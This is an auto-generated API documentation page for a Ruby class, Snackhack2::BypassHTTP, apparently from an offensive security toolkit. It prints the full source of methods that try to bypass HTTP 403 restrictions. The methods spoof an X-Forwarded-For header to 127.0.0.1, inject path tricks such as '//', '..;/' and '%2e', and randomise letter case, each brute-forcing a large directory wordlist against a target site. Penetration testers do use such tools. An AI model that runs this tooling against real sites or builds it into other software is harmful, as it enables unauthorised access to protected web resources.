Class: Snackhack2::BypassHTTP
- Inherits:
-
Object
- Object
- Snackhack2::BypassHTTP
- Defined in:
- lib/snackhack2/bypass_403.rb
Instance Attribute Summary collapse
-
#bypass ⇒ Object
Returns the value of attribute bypass.
-
#site ⇒ Object
Returns the value of attribute site.
-
#wordlist ⇒ Object
Returns the value of attribute wordlist.
Instance Method Summary collapse
- #basic ⇒ Object
- #dots ⇒ Object
- #forward_for ⇒ Object
-
#initialize ⇒ BypassHTTP
constructor
A new instance of BypassHTTP.
- #uppercase ⇒ Object
- #url_encode ⇒ Object
- #web_request(bypass) ⇒ Object
Constructor Details
#initialize ⇒ BypassHTTP
Returns a new instance of BypassHTTP.
7 8 9 10 11 |
# File 'lib/snackhack2/bypass_403.rb', line 7 def initialize @site = site @wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt') @bypass = "//" end |
Instance Attribute Details
#bypass ⇒ Object
Returns the value of attribute bypass.
5 6 7 |
# File 'lib/snackhack2/bypass_403.rb', line 5 def bypass @bypass end |
#site ⇒ Object
Returns the value of attribute site.
5 6 7 |
# File 'lib/snackhack2/bypass_403.rb', line 5 def site @site end |
#wordlist ⇒ Object
Returns the value of attribute wordlist.
5 6 7 |
# File 'lib/snackhack2/bypass_403.rb', line 5 def wordlist @wordlist end |
Instance Method Details
#basic ⇒ Object
41 42 43 |
# File 'lib/snackhack2/bypass_403.rb', line 41 def basic web_request("//") end |
#dots ⇒ Object
62 63 64 |
# File 'lib/snackhack2/bypass_403.rb', line 62 def dots web_request("..;/") end |
#forward_for ⇒ Object
13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# File 'lib/snackhack2/bypass_403.rb', line 13 def forward_for File.readlines(@wordlist).each do |r| r = r.strip Async do url = File.join(@site, @bypass, r) r = HTTParty.get(url, :headers => { "X-Forwarded-For": "127.0.0.1" }) puts url puts r.code puts "\n" end end end |
#uppercase ⇒ Object
45 46 47 48 49 50 51 52 53 54 55 56 |
# File 'lib/snackhack2/bypass_403.rb', line 45 def uppercase File.readlines(@wordlist).each do |r| r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) } Async do url = File.join(@site, r) puts url r = Snackhack2::get(url) puts r.code puts "\n" end end end |
#url_encode ⇒ Object
58 59 60 |
# File 'lib/snackhack2/bypass_403.rb', line 58 def url_encode web_request("%2e") end |
#web_request(bypass) ⇒ Object
28 29 30 31 32 33 34 35 36 37 38 39 |
# File 'lib/snackhack2/bypass_403.rb', line 28 def web_request(bypass) File.readlines(@wordlist).each do |r| r = r.strip Async do url = File.join(@site, bypass, r) r = Snackhack2::get(url) puts url puts r.code puts "\n" end end end |